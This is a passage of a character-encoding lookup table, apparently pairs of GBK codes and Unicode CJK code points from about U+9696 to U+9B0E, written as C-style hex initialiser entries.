{0x46eb,0x9696},{0xf3da,0x9697},{0xafb0,0x9698},{0xb6cf,0x9699},{0x47eb,0x969a},
{0x48eb,0x969b},{0xcfd5,0x969c},{0x49eb,0x969d},{0x4aeb,0x969e},{0x4beb,0x969f},
{0x4ceb,0x96a0},{0x4deb,0x96a1},{0x4eeb,0x96a2},{0x4feb,0x96a3},{0x50eb,0x96a4},
{0x51eb,0x96a5},{0x52eb,0x96a6},{0xedcb,0x96a7},{0x53eb,0x96a8},{0x54eb,0x96a9},
{0x55eb,0x96aa},{0x56eb,0x96ab},{0x57eb,0x96ac},{0x58eb,0x96ad},{0x59eb,0x96ae},
{0x5aeb,0x96af},{0xf4da,0x96b0},{0x5beb,0x96b1},{0x5ceb,0x96b2},{0xc4e3,0x96b3},
{0x5deb,0x96b4},{0x5eeb,0x96b5},{0xa5c1,0x96b6},{0x5feb,0x96b7},{0x60eb,0x96b8},
{0xbff6,0x96b9},{0x61eb,0x96ba},{0x62eb,0x96bb},{0xc0f6,0x96bc},{0xc1f6,0x96bd},
{0xd1c4,0x96be},{0x63eb,0x96bf},{0xb8c8,0x96c0},{0xe3d1,0x96c1},{0x64eb,0x96c2},
{0x65eb,0x96c3},{0xdbd0,0x96c4},{0xc5d1,0x96c5},{0xafbc,0x96c6},{0xcdb9,0x96c7},
{0x66eb,0x96c8},{0xf4ef,0x96c9},{0x67eb,0x96ca},{0x68eb,0x96cb},{0xc6b4,0x96cc},
{0xbad3,0x96cd},{0xc2f6,0x96ce},{0xfbb3,0x96cf},{0x69eb,0x96d0},{0x6aeb,0x96d1},
{0xc3f6,0x96d2},{0x6beb,0x96d3},{0x6ceb,0x96d4},{0xf1b5,0x96d5},{0x6deb,0x96d6},
{0x6eeb,0x96d7},{0x6feb,0x96d8},{0x70eb,0x96d9},{0x71eb,0x96da},{0x72eb,0x96db},
{0x73eb,0x96dc},{0x74eb,0x96dd},{0x75eb,0x96de},{0x76eb,0x96df},{0xc5f6,0x96e0},
{0x77eb,0x96e1},{0x78eb,0x96e2},{0x79eb,0x96e3},{0x7aeb,0x96e4},{0x7beb,0x96e5},
{0x7ceb,0x96e6},{0x7deb,0x96e7},{0xead3,0x96e8},{0xa7f6,0x96e9},{0xa9d1,0x96ea},
{0x7eeb,0x96eb},{0x80eb,0x96ec},{0x81eb,0x96ed},{0x82eb,0x96ee},{0xa9f6,0x96ef},
{0x83eb,0x96f0},{0x84eb,0x96f1},{0x85eb,0x96f2},{0xa8f6,0x96f3},{0x86eb,0x96f4},
{0x87eb,0x96f5},{0xe3c1,0x96f6},{0xd7c0,0x96f7},{0x88eb,0x96f8},{0xa2b1,0x96f9},
{0x89eb,0x96fa},{0x8aeb,0x96fb},{0x8beb,0x96fc},{0x8ceb,0x96fd},{0xedce,0x96fe},
{0xe8d0,0x9700},{0xabf6,0x9701},{0x8eeb,0x9702},{0x8feb,0x9703},{0xf6cf,0x9704},
{0x90eb,0x9705},{0xaaf6,0x9706},{0xf0d5,0x9707},{0xacf6,0x9708},{0xb9c3,0x9709},
{0x91eb,0x970a},{0x92eb,0x970b},{0x93eb,0x970c},{0xf4bb,0x970d},{0xaef6,0x970e},
{0xadf6,0x970f},{0x94eb,0x9710},{0x95eb,0x9711},{0x96eb,0x9712},{0xdec4,0x9713},
{0x97eb,0x9714},{0x98eb,0x9715},{0xd8c1,0x9716},{0x99eb,0x9717},{0x9aeb,0x9718},
{0x9beb,0x9719},{0x9ceb,0x971a},{0x9deb,0x971b},{0xaacb,0x971c},{0x9eeb,0x971d},
{0xbccf,0x971e},{0x9feb,0x971f},{0xa0eb,0x9720},{0x40ec,0x9721},{0x41ec,0x9722},
{0x42ec,0x9723},{0x43ec,0x9724},{0x44ec,0x9725},{0x45ec,0x9726},{0x46ec,0x9727},
{0x47ec,0x9728},{0x48ec,0x9729},{0xaff6,0x972a},{0x49ec,0x972b},{0x4aec,0x972c},
{0xb0f6,0x972d},{0x4bec,0x972e},{0x4cec,0x972f},{0xb1f6,0x9730},{0x4dec,0x9731},
{0xb6c2,0x9732},{0x4eec,0x9733},{0x4fec,0x9734},{0x50ec,0x9735},{0x51ec,0x9736},
{0x52ec,0x9737},{0xd4b0,0x9738},{0xf9c5,0x9739},{0x53ec,0x973a},{0x54ec,0x973b},
{0x55ec,0x973c},{0x56ec,0x973d},{0xb2f6,0x973e},{0x57ec,0x973f},{0x58ec,0x9740},
{0x59ec,0x9741},{0x5aec,0x9742},{0x5bec,0x9743},{0x5cec,0x9744},{0x5dec,0x9745},
{0x5eec,0x9746},{0x5fec,0x9747},{0x60ec,0x9748},{0x61ec,0x9749},{0x62ec,0x974a},
{0x63ec,0x974b},{0x64ec,0x974c},{0x65ec,0x974d},{0x66ec,0x974e},{0x67ec,0x974f},
{0x68ec,0x9750},{0x69ec,0x9751},{0xe0c7,0x9752},{0xa6f6,0x9753},{0x6aec,0x9754},
{0x6bec,0x9755},{0xb8be,0x9756},{0x6cec,0x9757},{0x6dec,0x9758},{0xb2be,0x9759},
{0x6eec,0x975a},{0xe5b5,0x975b},{0x6fec,0x975c},{0x70ec,0x975d},{0xc7b7,0x975e},
{0x71ec,0x975f},{0xbfbf,0x9760},{0xd2c3,0x9761},{0xe6c3,0x9762},{0x72ec,0x9763},
{0x73ec,0x9764},{0xccd8,0x9765},{0x74ec,0x9766},{0x75ec,0x9767},{0x76ec,0x9768},
{0xefb8,0x9769},{0x77ec,0x976a},{0x78ec,0x976b},{0x79ec,0x976c},{0x7aec,0x976d},
{0x7bec,0x976e},{0x7cec,0x976f},{0x7dec,0x9770},{0x7eec,0x9771},{0x80ec,0x9772},
{0xf9bd,0x9773},{0xa5d1,0x9774},{0x81ec,0x9775},{0xd0b0,0x9776},{0x82ec,0x9777},
{0x83ec,0x9778},{0x84ec,0x9779},{0x85ec,0x977a},{0x86ec,0x977b},{0xb0f7,0x977c},
{0x87ec,0x977d},{0x88ec,0x977e},{0x89ec,0x977f},{0x8aec,0x9780},{0x8bec,0x9781},
{0x8cec,0x9782},{0x8dec,0x9783},{0x8eec,0x9784},{0xb1f7,0x9785},{0x8fec,0x9786},
{0x90ec,0x9787},{0x91ec,0x9788},{0x92ec,0x9789},{0x93ec,0x978a},{0xacd0,0x978b},
{0x94ec,0x978c},{0xb0b0,0x978d},{0x95ec,0x978e},{0x96ec,0x978f},{0x97ec,0x9790},
{0xb2f7,0x9791},{0xb3f7,0x9792},{0x98ec,0x9793},{0xb4f7,0x9794},{0x99ec,0x9795},
{0x9aec,0x9796},{0x9bec,0x9797},{0xcac7,0x9798},{0x9cec,0x9799},{0x9dec,0x979a},
{0x9eec,0x979b},{0x9fec,0x979c},{0xa0ec,0x979d},{0x40ed,0x979e},{0x41ed,0x979f},
{0xcfbe,0x97a0},{0x42ed,0x97a1},{0x43ed,0x97a2},{0xb7f7,0x97a3},{0x44ed,0x97a4},
{0x45ed,0x97a5},{0x46ed,0x97a6},{0x47ed,0x97a7},{0x48ed,0x97a8},{0x49ed,0x97a9},
{0x4aed,0x97aa},{0xb6f7,0x97ab},{0x4bed,0x97ac},{0xdeb1,0x97ad},{0x4ced,0x97ae},
{0xb5f7,0x97af},{0x4ded,0x97b0},{0x4eed,0x97b1},{0xb8f7,0x97b2},{0x4fed,0x97b3},
{0xb9f7,0x97b4},{0x50ed,0x97b5},{0x51ed,0x97b6},{0x52ed,0x97b7},{0x53ed,0x97b8},
{0x54ed,0x97b9},{0x55ed,0x97ba},{0x56ed,0x97bb},{0x57ed,0x97bc},{0x58ed,0x97bd},
{0x59ed,0x97be},{0x5aed,0x97bf},{0x5bed,0x97c0},{0x5ced,0x97c1},{0x5ded,0x97c2},
{0x5eed,0x97c3},{0x5fed,0x97c4},{0x60ed,0x97c5},{0x61ed,0x97c6},{0x62ed,0x97c7},
{0x63ed,0x97c8},{0x64ed,0x97c9},{0x65ed,0x97ca},{0x66ed,0x97cb},{0x67ed,0x97cc},
{0x68ed,0x97cd},{0x69ed,0x97ce},{0x6aed,0x97cf},{0x6bed,0x97d0},{0x6ced,0x97d1},
{0x6ded,0x97d2},{0x6eed,0x97d3},{0x6fed,0x97d4},{0x70ed,0x97d5},{0x71ed,0x97d6},
{0x72ed,0x97d7},{0x73ed,0x97d8},{0x74ed,0x97d9},{0x75ed,0x97da},{0x76ed,0x97db},
{0x77ed,0x97dc},{0x78ed,0x97dd},{0x79ed,0x97de},{0x7aed,0x97df},{0x7bed,0x97e0},
{0x7ced,0x97e1},{0x7ded,0x97e2},{0x7eed,0x97e3},{0x80ed,0x97e4},{0x81ed,0x97e5},
{0xa4ce,0x97e6},{0xcdc8,0x97e7},{0x82ed,0x97e8},{0xabba,0x97e9},{0xb8e8,0x97ea},
{0xb9e8,0x97eb},{0xbae8,0x97ec},{0xc2be,0x97ed},{0x83ed,0x97ee},{0x84ed,0x97ef},
{0x85ed,0x97f0},{0x86ed,0x97f1},{0x87ed,0x97f2},{0xf4d2,0x97f3},{0x88ed,0x97f4},
{0xcfd4,0x97f5},{0xd8c9,0x97f6},{0x89ed,0x97f7},{0x8aed,0x97f8},{0x8bed,0x97f9},
{0x8ced,0x97fa},{0x8ded,0x97fb},{0x8eed,0x97fc},{0x8fed,0x97fd},{0x90ed,0x97fe},
{0x92ed,0x9800},{0x93ed,0x9801},{0x94ed,0x9802},{0x95ed,0x9803},{0x96ed,0x9804},
{0x97ed,0x9805},{0x98ed,0x9806},{0x99ed,0x9807},{0x9aed,0x9808},{0x9bed,0x9809},
{0x9ced,0x980a},{0x9ded,0x980b},{0x9eed,0x980c},{0x9fed,0x980d},{0xa0ed,0x980e},
{0x40ee,0x980f},{0x41ee,0x9810},{0x42ee,0x9811},{0x43ee,0x9812},{0x44ee,0x9813},
{0x45ee,0x9814},{0x46ee,0x9815},{0x47ee,0x9816},{0x48ee,0x9817},{0x49ee,0x9818},
{0x4aee,0x9819},{0x4bee,0x981a},{0x4cee,0x981b},{0x4dee,0x981c},{0x4eee,0x981d},
{0x4fee,0x981e},{0x50ee,0x981f},{0x51ee,0x9820},{0x52ee,0x9821},{0x53ee,0x9822},
{0x54ee,0x9823},{0x55ee,0x9824},{0x56ee,0x9825},{0x57ee,0x9826},{0x58ee,0x9827},
{0x59ee,0x9828},{0x5aee,0x9829},{0x5bee,0x982a},{0x5cee,0x982b},{0x5dee,0x982c},
{0x5eee,0x982d},{0x5fee,0x982e},{0x60ee,0x982f},{0x61ee,0x9830},{0x62ee,0x9831},
{0x63ee,0x9832},{0x64ee,0x9833},{0x65ee,0x9834},{0x66ee,0x9835},{0x67ee,0x9836},
{0x68ee,0x9837},{0x69ee,0x9838},{0x6aee,0x9839},{0x6bee,0x983a},{0x6cee,0x983b},
{0x6dee,0x983c},{0x6eee,0x983d},{0x6fee,0x983e},{0x70ee,0x983f},{0x71ee,0x9840},
{0x72ee,0x9841},{0x73ee,0x9842},{0x74ee,0x9843},{0x75ee,0x9844},{0x76ee,0x9845},
{0x77ee,0x9846},{0x78ee,0x9847},{0x79ee,0x9848},{0x7aee,0x9849},{0x7bee,0x984a},
{0x7cee,0x984b},{0x7dee,0x984c},{0x7eee,0x984d},{0x80ee,0x984e},{0x81ee,0x984f},
{0x82ee,0x9850},{0x83ee,0x9851},{0x84ee,0x9852},{0x85ee,0x9853},{0x86ee,0x9854},
{0x87ee,0x9855},{0x88ee,0x9856},{0x89ee,0x9857},{0x8aee,0x9858},{0x8bee,0x9859},
{0x8cee,0x985a},{0x8dee,0x985b},{0x8eee,0x985c},{0x8fee,0x985d},{0x90ee,0x985e},
{0x91ee,0x985f},{0x92ee,0x9860},{0x93ee,0x9861},{0x94ee,0x9862},{0x95ee,0x9863},
{0x96ee,0x9864},{0x97ee,0x9865},{0x98ee,0x9866},{0x99ee,0x9867},{0x9aee,0x9868},
{0x9bee,0x9869},{0x9cee,0x986a},{0x9dee,0x986b},{0x9eee,0x986c},{0x9fee,0x986d},
{0xa0ee,0x986e},{0x40ef,0x986f},{0x41ef,0x9870},{0x42ef,0x9871},{0x43ef,0x9872},
{0x44ef,0x9873},{0x45ef,0x9874},{0xb3d2,0x9875},{0xa5b6,0x9876},{0xeac7,0x9877},
{0xfcf1,0x9878},{0xeecf,0x9879},{0xb3cb,0x987a},{0xebd0,0x987b},{0xefe7,0x987c},
{0xe7cd,0x987d},{0xcbb9,0x987e},{0xd9b6,0x987f},{0xfdf1,0x9880},{0xe4b0,0x9881},
{0xcccb,0x9882},{0xfef1,0x9883},{0xa4d4,0x9884},{0xadc2,0x9885},{0xecc1,0x9886},
{0xc4c6,0x9887},{0xb1be,0x9888},{0xa1f2,0x9889},{0xd5bc,0x988a},{0x46ef,0x988b},
{0xa2f2,0x988c},{0xa3f2,0x988d},{0x47ef,0x988e},{0xa4f2,0x988f},{0xc3d2,0x9890},
{0xb5c6,0x9891},{0x48ef,0x9892},{0xc7cd,0x9893},{0xa5f2,0x9894},{0x49ef,0x9895},
{0xb1d3,0x9896},{0xc5bf,0x9897},{0xe2cc,0x9898},{0x4aef,0x9899},{0xa6f2,0x989a},
{0xa7f2,0x989b},{0xd5d1,0x989c},{0xeeb6,0x989d},{0xa8f2,0x989e},{0xa9f2,0x989f},
{0xdfb5,0x98a0},{0xaaf2,0x98a1},{0xabf2,0x98a2},{0x4bef,0x98a3},{0xfcb2,0x98a4},
{0xacf2,0x98a5},{0xadf2,0x98a6},{0xa7c8,0x98a7},{0x4cef,0x98a8},{0x4def,0x98a9},
{0x4eef,0x98aa},{0x4fef,0x98ab},{0x50ef,0x98ac},{0x51ef,0x98ad},{0x52ef,0x98ae},
{0x53ef,0x98af},{0x54ef,0x98b0},{0x55ef,0x98b1},{0x56ef,0x98b2},{0x57ef,0x98b3},
{0x58ef,0x98b4},{0x59ef,0x98b5},{0x5aef,0x98b6},{0x5bef,0x98b7},{0x5cef,0x98b8},
{0x5def,0x98b9},{0x5eef,0x98ba},{0x5fef,0x98bb},{0x60ef,0x98bc},{0x61ef,0x98bd},
{0x62ef,0x98be},{0x63ef,0x98bf},{0x64ef,0x98c0},{0x65ef,0x98c1},{0x66ef,0x98c2},
{0x67ef,0x98c3},{0x68ef,0x98c4},{0x69ef,0x98c5},{0x6aef,0x98c6},{0x6bef,0x98c7},
{0x6cef,0x98c8},{0x6def,0x98c9},{0x6eef,0x98ca},{0x6fef,0x98cb},{0x70ef,0x98cc},
{0x71ef,0x98cd},{0xe7b7,0x98ce},{0x72ef,0x98cf},{0x73ef,0x98d0},{0xa9ec,0x98d1},
{0xaaec,0x98d2},{0xabec,0x98d3},{0x74ef,0x98d4},{0xacec,0x98d5},{0x75ef,0x98d6},
{0x76ef,0x98d7},{0xaec6,0x98d8},{0xadec,0x98d9},{0xaeec,0x98da},{0x77ef,0x98db},
{0x78ef,0x98dc},{0x79ef,0x98dd},{0xc9b7,0x98de},{0xb3ca,0x98df},{0x7aef,0x98e0},
{0x7bef,0x98e1},{0x7cef,0x98e2},{0x7def,0x98e3},{0x7eef,0x98e4},{0x80ef,0x98e5},
{0x81ef,0x98e6},{0xb8e2,0x98e7},{0xcff7,0x98e8},{0x82ef,0x98e9},{0x83ef,0x98ea},
{0x84ef,0x98eb},{0x85ef,0x98ec},{0x86ef,0x98ed},{0x87ef,0x98ee},{0x88ef,0x98ef},
{0x89ef,0x98f0},{0x8aef,0x98f1},{0x8bef,0x98f2},{0x8cef,0x98f3},{0x8def,0x98f4},
{0x8eef,0x98f5},{0x8fef,0x98f6},{0x90ef,0x98f7},{0x91ef,0x98f8},{0x92ef,0x98f9},
{0x93ef,0x98fa},{0x94ef,0x98fb},{0x95ef,0x98fc},{0x96ef,0x98fd},{0x97ef,0x98fe},
{0x99ef,0x9900},{0x9aef,0x9901},{0x9bef,0x9902},{0x9cef,0x9903},{0x9def,0x9904},
{0x9eef,0x9905},{0x9fef,0x9906},{0xa0ef,0x9907},{0x40f0,0x9908},{0x41f0,0x9909},
{0x42f0,0x990a},{0x43f0,0x990b},{0x44f0,0x990c},{0xd0f7,0x990d},{0x45f0,0x990e},
{0x46f0,0x990f},{0xcdb2,0x9910},{0x47f0,0x9911},{0x48f0,0x9912},{0x49f0,0x9913},
{0x4af0,0x9914},{0x4bf0,0x9915},{0x4cf0,0x9916},{0x4df0,0x9917},{0x4ef0,0x9918},
{0x4ff0,0x9919},{0x50f0,0x991a},{0x51f0,0x991b},{0x52f0,0x991c},{0x53f0,0x991d},
{0x54f0,0x991e},{0x55f0,0x991f},{0x56f0,0x9920},{0x57f0,0x9921},{0x58f0,0x9922},
{0x59f0,0x9923},{0x5af0,0x9924},{0x5bf0,0x9925},{0x5cf0,0x9926},{0x5df0,0x9927},
{0x5ef0,0x9928},{0x5ff0,0x9929},{0x60f0,0x992a},{0x61f0,0x992b},{0x62f0,0x992c},
{0x63f0,0x992d},{0xd1f7,0x992e},{0x64f0,0x992f},{0x65f0,0x9930},{0x66f0,0x9931},
{0x67f0,0x9932},{0x68f0,0x9933},{0x69f0,0x9934},{0x6af0,0x9935},{0x6bf0,0x9936},
{0x6cf0,0x9937},{0x6df0,0x9938},{0x6ef0,0x9939},{0x6ff0,0x993a},{0x70f0,0x993b},
{0x71f0,0x993c},{0x72f0,0x993d},{0x73f0,0x993e},{0x74f0,0x993f},{0x75f0,0x9940},
{0x76f0,0x9941},{0x77f0,0x9942},{0x78f0,0x9943},{0x79f0,0x9944},{0x7af0,0x9945},
{0x7bf0,0x9946},{0x7cf0,0x9947},{0x7df0,0x9948},{0x7ef0,0x9949},{0x80f0,0x994a},
{0x81f0,0x994b},{0x82f0,0x994c},{0x83f0,0x994d},{0x84f0,0x994e},{0x85f0,0x994f},
{0x86f0,0x9950},{0x87f0,0x9951},{0x88f0,0x9952},{0x89f0,0x9953},{0xd3f7,0x9954},
{0xd2f7,0x9955},{0x8af0,0x9956},{0x8bf0,0x9957},{0x8cf0,0x9958},{0x8df0,0x9959},
{0x8ef0,0x995a},{0x8ff0,0x995b},{0x90f0,0x995c},{0x91f0,0x995d},{0x92f0,0x995e},
{0x93f0,0x995f},{0x94f0,0x9960},{0x95f0,0x9961},{0x96f0,0x9962},{0xbbe2,0x9963},
{0x97f0,0x9964},{0xa2bc,0x9965},{0x98f0,0x9966},{0xbce2,0x9967},{0xbde2,0x9968},
{0xbee2,0x9969},{0xbfe2,0x996a},{0xc0e2,0x996b},{0xc1e2,0x996c},{0xb9b7,0x996d},
{0xfbd2,0x996e},{0xa4bd,0x996f},{0xceca,0x9970},{0xa5b1,0x9971},{0xc7cb,0x9972},
{0x99f0,0x9973},{0xc2e2,0x9974},{0xfcb6,0x9975},{0xc4c8,0x9976},{0xc3e2,0x9977},
{0x9af0,0x9978},{0x9bf0,0x9979},{0xc8bd,0x997a},{0x9cf0,0x997b},{0xfdb1,0x997c},
{0xc4e2,0x997d},{0x9df0,0x997e},{0xf6b6,0x997f},{0xc5e2,0x9980},{0xd9c4,0x9981},
{0x9ef0,0x9982},{0x9ff0,0x9983},{0xc6e2,0x9984},{0xdacf,0x9985},{0xddb9,0x9986},
{0xc7e2,0x9987},{0xa1c0,0x9988},{0xa0f0,0x9989},{0xc8e2,0x998a},{0xf6b2,0x998b},
{0x40f1,0x998c},{0xc9e2,0x998d},{0x41f1,0x998e},{0xf3c1,0x998f},{0xcae2,0x9990},
{0xcbe2,0x9991},{0xf8c2,0x9992},{0xcce2,0x9993},{0xcde2,0x9994},{0xcee2,0x9995},
{0xd7ca,0x9996},{0xb8d8,0x9997},{0xe5d9,0x9998},{0xe3cf,0x9999},{0x42f1,0x999a},
{0x43f1,0x999b},{0x44f1,0x999c},{0x45f1,0x999d},{0x46f1,0x999e},{0x47f1,0x999f},
{0x48f1,0x99a0},{0x49f1,0x99a1},{0x4af1,0x99a2},{0x4bf1,0x99a3},{0x4cf1,0x99a4},
{0xa5f0,0x99a5},{0x4df1,0x99a6},{0x4ef1,0x99a7},{0xb0dc,0x99a8},{0x4ff1,0x99a9},
{0x50f1,0x99aa},{0x51f1,0x99ab},{0x52f1,0x99ac},{0x53f1,0x99ad},{0x54f1,0x99ae},
{0x55f1,0x99af},{0x56f1,0x99b0},{0x57f1,0x99b1},{0x58f1,0x99b2},{0x59f1,0x99b3},
{0x5af1,0x99b4},{0x5bf1,0x99b5},{0x5cf1,0x99b6},{0x5df1,0x99b7},{0x5ef1,0x99b8},
{0x5ff1,0x99b9},{0x60f1,0x99ba},{0x61f1,0x99bb},{0x62f1,0x99bc},{0x63f1,0x99bd},
{0x64f1,0x99be},{0x65f1,0x99bf},{0x66f1,0x99c0},{0x67f1,0x99c1},{0x68f1,0x99c2},
{0x69f1,0x99c3},{0x6af1,0x99c4},{0x6bf1,0x99c5},{0x6cf1,0x99c6},{0x6df1,0x99c7},
{0x6ef1,0x99c8},{0x6ff1,0x99c9},{0x70f1,0x99ca},{0x71f1,0x99cb},{0x72f1,0x99cc},
{0x73f1,0x99cd},{0x74f1,0x99ce},{0x75f1,0x99cf},{0x76f1,0x99d0},{0x77f1,0x99d1},
{0x78f1,0x99d2},{0x79f1,0x99d3},{0x7af1,0x99d4},{0x7bf1,0x99d5},{0x7cf1,0x99d6},
{0x7df1,0x99d7},{0x7ef1,0x99d8},{0x80f1,0x99d9},{0x81f1,0x99da},{0x82f1,0x99db},
{0x83f1,0x99dc},{0x84f1,0x99dd},{0x85f1,0x99de},{0x86f1,0x99df},{0x87f1,0x99e0},
{0x88f1,0x99e1},{0x89f1,0x99e2},{0x8af1,0x99e3},{0x8bf1,0x99e4},{0x8cf1,0x99e5},
{0x8df1,0x99e6},{0x8ef1,0x99e7},{0x8ff1,0x99e8},{0x90f1,0x99e9},{0x91f1,0x99ea},
{0x92f1,0x99eb},{0x93f1,0x99ec},{0x94f1,0x99ed},{0x95f1,0x99ee},{0x96f1,0x99ef},
{0x97f1,0x99f0},{0x98f1,0x99f1},{0x99f1,0x99f2},{0x9af1,0x99f3},{0x9bf1,0x99f4},
{0x9cf1,0x99f5},{0x9df1,0x99f6},{0x9ef1,0x99f7},{0x9ff1,0x99f8},{0xa0f1,0x99f9},
{0x40f2,0x99fa},{0x41f2,0x99fb},{0x42f2,0x99fc},{0x43f2,0x99fd},{0x44f2,0x99fe},
{0x46f2,0x9a00},{0x47f2,0x9a01},{0x48f2,0x9a02},{0x49f2,0x9a03},{0x4af2,0x9a04},
{0x4bf2,0x9a05},{0x4cf2,0x9a06},{0x4df2,0x9a07},{0x4ef2,0x9a08},{0x4ff2,0x9a09},
{0x50f2,0x9a0a},{0x51f2,0x9a0b},{0x52f2,0x9a0c},{0x53f2,0x9a0d},{0x54f2,0x9a0e},
{0x55f2,0x9a0f},{0x56f2,0x9a10},{0x57f2,0x9a11},{0x58f2,0x9a12},{0x59f2,0x9a13},
{0x5af2,0x9a14},{0x5bf2,0x9a15},{0x5cf2,0x9a16},{0x5df2,0x9a17},{0x5ef2,0x9a18},
{0x5ff2,0x9a19},{0x60f2,0x9a1a},{0x61f2,0x9a1b},{0x62f2,0x9a1c},{0x63f2,0x9a1d},
{0x64f2,0x9a1e},{0x65f2,0x9a1f},{0x66f2,0x9a20},{0x67f2,0x9a21},{0x68f2,0x9a22},
{0x69f2,0x9a23},{0x6af2,0x9a24},{0x6bf2,0x9a25},{0x6cf2,0x9a26},{0x6df2,0x9a27},
{0x6ef2,0x9a28},{0x6ff2,0x9a29},{0x70f2,0x9a2a},{0x71f2,0x9a2b},{0x72f2,0x9a2c},
{0x73f2,0x9a2d},{0x74f2,0x9a2e},{0x75f2,0x9a2f},{0x76f2,0x9a30},{0x77f2,0x9a31},
{0x78f2,0x9a32},{0x79f2,0x9a33},{0x7af2,0x9a34},{0x7bf2,0x9a35},{0x7cf2,0x9a36},
{0x7df2,0x9a37},{0x7ef2,0x9a38},{0x80f2,0x9a39},{0x81f2,0x9a3a},{0x82f2,0x9a3b},
{0x83f2,0x9a3c},{0x84f2,0x9a3d},{0x85f2,0x9a3e},{0x86f2,0x9a3f},{0x87f2,0x9a40},
{0x88f2,0x9a41},{0x89f2,0x9a42},{0x8af2,0x9a43},{0x8bf2,0x9a44},{0x8cf2,0x9a45},
{0x8df2,0x9a46},{0x8ef2,0x9a47},{0x8ff2,0x9a48},{0x90f2,0x9a49},{0x91f2,0x9a4a},
{0x92f2,0x9a4b},{0x93f2,0x9a4c},{0x94f2,0x9a4d},{0x95f2,0x9a4e},{0x96f2,0x9a4f},
{0x97f2,0x9a50},{0x98f2,0x9a51},{0x99f2,0x9a52},{0x9af2,0x9a53},{0x9bf2,0x9a54},
{0x9cf2,0x9a55},{0x9df2,0x9a56},{0x9ef2,0x9a57},{0x9ff2,0x9a58},{0xa0f2,0x9a59},
{0x40f3,0x9a5a},{0x41f3,0x9a5b},{0x42f3,0x9a5c},{0x43f3,0x9a5d},{0x44f3,0x9a5e},
{0x45f3,0x9a5f},{0x46f3,0x9a60},{0x47f3,0x9a61},{0x48f3,0x9a62},{0x49f3,0x9a63},
{0x4af3,0x9a64},{0x4bf3,0x9a65},{0x4cf3,0x9a66},{0x4df3,0x9a67},{0x4ef3,0x9a68},
{0x4ff3,0x9a69},{0x50f3,0x9a6a},{0x51f3,0x9a6b},{0xedc2,0x9a6c},{0xa6d4,0x9a6d},
{0xd4cd,0x9a6e},{0xb1d1,0x9a6f},{0xdbb3,0x9a70},{0xfdc7,0x9a71},{0x52f3,0x9a72},
{0xb5b2,0x9a73},{0xbfc2,0x9a74},{0xe0e6,0x9a75},{0xbbca,0x9a76},{0xe1e6,0x9a77},
{0xe2e6,0x9a78},{0xd4be,0x9a79},{0xe3e6,0x9a7a},{0xa4d7,0x9a7b},{0xd5cd,0x9a7c},
{0xe5e6,0x9a7d},{0xddbc,0x9a7e},{0xe4e6,0x9a7f},{0xe6e6,0x9a80},{0xe7e6,0x9a81},
{0xeec2,0x9a82},{0x53f3,0x9a83},{0xbebd,0x9a84},{0xe8e6,0x9a85},{0xe6c2,0x9a86},
{0xa7ba,0x9a87},{0xe9e6,0x9a88},{0x54f3,0x9a89},{0xeae6,0x9a8a},{0xd2b3,0x9a8b},
{0xe9d1,0x9a8c},{0x55f3,0x9a8d},{0x56f3,0x9a8e},{0xa5bf,0x9a8f},{0xebe6,0x9a90},
{0xefc6,0x9a91},{0xece6,0x9a92},{0xede6,0x9a93},{0x57f3,0x9a94},{0x58f3,0x9a95},
{0xeee6,0x9a96},{0xadc6,0x9a97},{0xefe6,0x9a98},{0x59f3,0x9a99},{0xa7c9,0x9a9a},
{0xf0e6,0x9a9b},{0xf1e6,0x9a9c},{0xf2e6,0x9a9d},{0xb9e5,0x9a9e},{0xf3e6,0x9a9f},
{0xf4e6,0x9aa0},{0xe2c2,0x9aa1},{0xf5e6,0x9aa2},{0xf6e6,0x9aa3},{0xe8d6,0x9aa4},
{0xf7e6,0x9aa5},{0x5af3,0x9aa6},{0xf8e6,0x9aa7},{0xc7b9,0x9aa8},{0x5bf3,0x9aa9},
{0x5cf3,0x9aaa},{0x5df3,0x9aab},{0x5ef3,0x9aac},{0x5ff3,0x9aad},{0x60f3,0x9aae},
{0x61f3,0x9aaf},{0xbbf7,0x9ab0},{0xbaf7,0x9ab1},{0x62f3,0x9ab2},{0x63f3,0x9ab3},
{0x64f3,0x9ab4},{0x65f3,0x9ab5},{0xbef7,0x9ab6},{0xbcf7,0x9ab7},{0xa1ba,0x9ab8},
{0x66f3,0x9ab9},{0xbff7,0x9aba},{0x67f3,0x9abb},{0xc0f7,0x9abc},{0x68f3,0x9abd},
{0x69f3,0x9abe},{0x6af3,0x9abf},{0xc2f7,0x9ac0},{0xc1f7,0x9ac1},{0xc4f7,0x9ac2},
{0x6bf3,0x9ac3},{0x6cf3,0x9ac4},{0xc3f7,0x9ac5},{0x6df3,0x9ac6},{0x6ef3,0x9ac7},
{0x6ff3,0x9ac8},{0x70f3,0x9ac9},{0x71f3,0x9aca},{0xc5f7,0x9acb},{0xc6f7,0x9acc},
{0x72f3,0x9acd},{0x73f3,0x9ace},{0x74f3,0x9acf},{0x75f3,0x9ad0},{0xc7f7,0x9ad1},
{0x76f3,0x9ad2},{0xe8cb,0x9ad3},{0x77f3,0x9ad4},{0x78f3,0x9ad5},{0x79f3,0x9ad6},
{0x7af3,0x9ad7},{0xdfb8,0x9ad8},{0x7bf3,0x9ad9},{0x7cf3,0x9ada},{0x7df3,0x9adb},
{0x7ef3,0x9adc},{0x80f3,0x9add},{0x81f3,0x9ade},{0xd4f7,0x9adf},{0x82f3,0x9ae0},
{0xd5f7,0x9ae1},{0x83f3,0x9ae2},{0x84f3,0x9ae3},{0x85f3,0x9ae4},{0x86f3,0x9ae5},
{0xd6f7,0x9ae6},{0x87f3,0x9ae7},{0x88f3,0x9ae8},{0x89f3,0x9ae9},{0x8af3,0x9aea},
{0xd8f7,0x9aeb},{0x8bf3,0x9aec},{0xdaf7,0x9aed},{0x8cf3,0x9aee},{0xd7f7,0x9aef},
{0x8df3,0x9af0},{0x8ef3,0x9af1},{0x8ff3,0x9af2},{0x90f3,0x9af3},{0x91f3,0x9af4},
{0x92f3,0x9af5},{0x93f3,0x9af6},{0x94f3,0x9af7},{0x95f3,0x9af8},{0xdbf7,0x9af9},
{0x96f3,0x9afa},{0xd9f7,0x9afb},{0x97f3,0x9afc},{0x98f3,0x9afd},{0x99f3,0x9afe},
{0x9bf3,0x9b00},{0x9cf3,0x9b01},{0x9df3,0x9b02},{0xd7d7,0x9b03},{0x9ef3,0x9b04},
{0x9ff3,0x9b05},{0xa0f3,0x9b06},{0x40f4,0x9b07},{0xdcf7,0x9b08},{0x41f4,0x9b09},
{0x42f4,0x9b0a},{0x43f4,0x9b0b},{0x44f4,0x9b0c},{0x45f4,0x9b0d},{0x46f4,0x9b0e},
